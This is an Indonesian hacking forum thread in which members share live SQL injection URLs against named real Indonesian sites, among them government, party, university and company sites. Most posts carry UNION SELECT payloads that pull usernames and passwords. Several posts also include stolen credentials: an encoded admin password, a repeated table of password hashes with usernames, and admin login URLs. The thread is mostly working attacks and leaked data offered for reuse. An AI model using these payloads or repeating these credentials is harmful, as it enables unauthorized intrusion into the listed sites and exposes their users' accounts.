kumpulan : Vuln WEB LOKAL, Masuk Sini..

[peniru]

maap kalo repost

http://www.sragenkab.go.id/berita/berita.php?id=67%2773

[darkslayer100]

@peniru

aneh y mas,, saya coba union all select 1,2,3,4--
tapi g ada nomer kolom yg muncul :omg:

pake schemafuzz jg g ketemu2 :putusasa: :putusasa:

[ryanmeine]

Nambahin lg kk

Code: Select all

http://www.pdiperjuangan-jatim.org/v03/index.php?mod=berita&id=-2516%20union%20select%20group_concat%28username,0x3a,password%29,2%20from%20c_reg_users--

Databasena : pdip_db

login admin : http://www.pdiperjuangan-jatim.org/v03/ ... ?mod=login


Nambah lagi...

Code: Select all

http://www.ustj.ac.id/main.php?s=agenda&xkd=49

DB : ustj_portaldb

login :http://www.ustj.ac.id/myadmin/
username : admin
password : ZTUxNzI0MzVjNGVmNGIzMDZhNjNhNWY3ZDdiZmVkNjQ=

[abit doang]

wew, jadi hot tret nih,..
sorry udah lama jarang OL..

Code: Select all

http://www.otorita-asahan.go.id/berita.php?id=38+AND+1=2+UNION+SELECT+0,1,2,3--
http://www.tebarhewan.or.id/berita.php?row_id=10+AND+1=2+UNION+SELECT+0,1,2--

Code: Select all

http://www.tigaraksa.co.id/page.php?id=1+AND+1=2+UNION+SELECT+0,1,version(),3,group_concat(table_name),5,6,7,8,9,10,11+FROM+information_schema.tables+where+table_schema=database()--

Code: Select all

http://www.grosirkebaya.net/detail.php?pid=69+order+by+20--

[burnacid666]

KK si cupu mau ngikut boleh ya,,,,, :maaf:
semoga belom ada yang post ini ya... selama saya search blom sih

Code: Select all

http://www.radarmadiun.co.id/main.php?act=others&catid=22

hasilnya ini kk:

Code: Select all

e395e8a2b0135b31e83dd6e98682c0c5  admin
5f4dcc3b5aa765d61d8327deb882cf99 	        Rozi
5f4dcc3b5aa765d61d8327deb882cf99 	        Andy
5f4dcc3b5aa765d61d8327deb882cf99 	        Andy Lagi
5f4dcc3b5aa765d61d8327deb882cf99 	        andy2005
3f1d9c66961495e29be60cfc065b153f 	        busri
b289d9f49cf04b72c9eaf011bf43a2c0 	        yoga
5ae0c1c8a5260bc7b6648f6fbd115c35 	        yogaok
75d0926ae2c73002655630d1e9a22826 	sri
a134711b3d3439d3015a45ce3e6681da 	hari
98fff78d0cae53e7d2907856a9c30db3 	        vires
d6ee220180b2804cf8ac155756295554 	mbaksri
feac2cd55e2ad4ed43568f90dfdef0db 	        yogaanyar
af8632405a9e6d78ff7f0092cc9466c1 	        yogae
e395e8a2b0135b31e83dd6e98682c0c5 	IPIN

tpi g nemu halaman login adminnya udah pusing rasanya..... :pusing:

[t3g0h]

numpang lewat ya om...

Code: Select all

http://www.baliagentproperty.com/tipe-properti/det-tanah.php?id='31

[butatuli]

KK si cupu mau ngikut boleh ya,,,,, :maaf:
semoga belom ada yang post ini ya... selama saya search blom sih

Code: Select all

http://www.radarmadiun.co.id/main.php?act=others&catid=22

hasilnya ini kk:

Code: Select all

e395e8a2b0135b31e83dd6e98682c0c5  admin
5f4dcc3b5aa765d61d8327deb882cf99 	        Rozi
5f4dcc3b5aa765d61d8327deb882cf99 	        Andy
5f4dcc3b5aa765d61d8327deb882cf99 	        Andy Lagi
5f4dcc3b5aa765d61d8327deb882cf99 	        andy2005
3f1d9c66961495e29be60cfc065b153f 	        busri
b289d9f49cf04b72c9eaf011bf43a2c0 	        yoga
5ae0c1c8a5260bc7b6648f6fbd115c35 	        yogaok
75d0926ae2c73002655630d1e9a22826 	sri
a134711b3d3439d3015a45ce3e6681da 	hari
98fff78d0cae53e7d2907856a9c30db3 	        vires
d6ee220180b2804cf8ac155756295554 	mbaksri
feac2cd55e2ad4ed43568f90dfdef0db 	        yogaanyar
af8632405a9e6d78ff7f0092cc9466c1 	        yogae
e395e8a2b0135b31e83dd6e98682c0c5 	IPIN

tpi g nemu halaman login adminnya udah pusing rasanya..... :pusing:

Code: Select all

http://radarmadiun.co.id:2082/

[butatuli]

Code: Select all

http://www.bursakerja-jateng.com/new/layout/lowongan_detail.php?MainPage=PencariKerja

[abit doang]

dikit nih,..

Code: Select all

http://www.trisakti.ac.id/fh/?page=guru_besar&ID=-4+AND+1=2+UNION+SELECT+0,1,2,3,4,5,6,7,8,version(),10,11,12,13,14,15--

http://web.ipb.ac.id/~lppm/ID/index.php?view=warta/isinews&id=-1597+AND+1=2+UNION+SELECT+0,group_concat(table_name),2,3,4,5,6,7,8,9,10+FROM+information_schema.tables+where+table_schema=database()--

:tapa: :maaf:

[abit doang]

mudah2an gak repost..

Code: Select all

http://www.raffles-international.org/news_details.php?news_id=-21+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(column_name),14,15+from+information_schema.columns+where+table_name=0x61646d696e--

http://www.primausada.com/news.php?news_id=-9+union+all+select+1,group_concat(username,0x3a,password),3,4+FROM+user_account--

:tapa:

HOT BANGET

Code: Select all

http://www.pertaminatongkang.co.id/contents.php?lang=en&sub=news&p=1&id=1034+AND+1=2+UNION+SELECT+0,1,group_concat(uname,0x3a,password,0x3a,fullname,0x3a,email,0x3a,phone,0x3a,entry_date,0x3a,privilege,0x3a,issuer,0x3a,active),3,4,5,6,7,8+FROM+ptk_user--

http://www.pertaminatongkang.co.id/admin/

tapi gak bisa login,..
:devil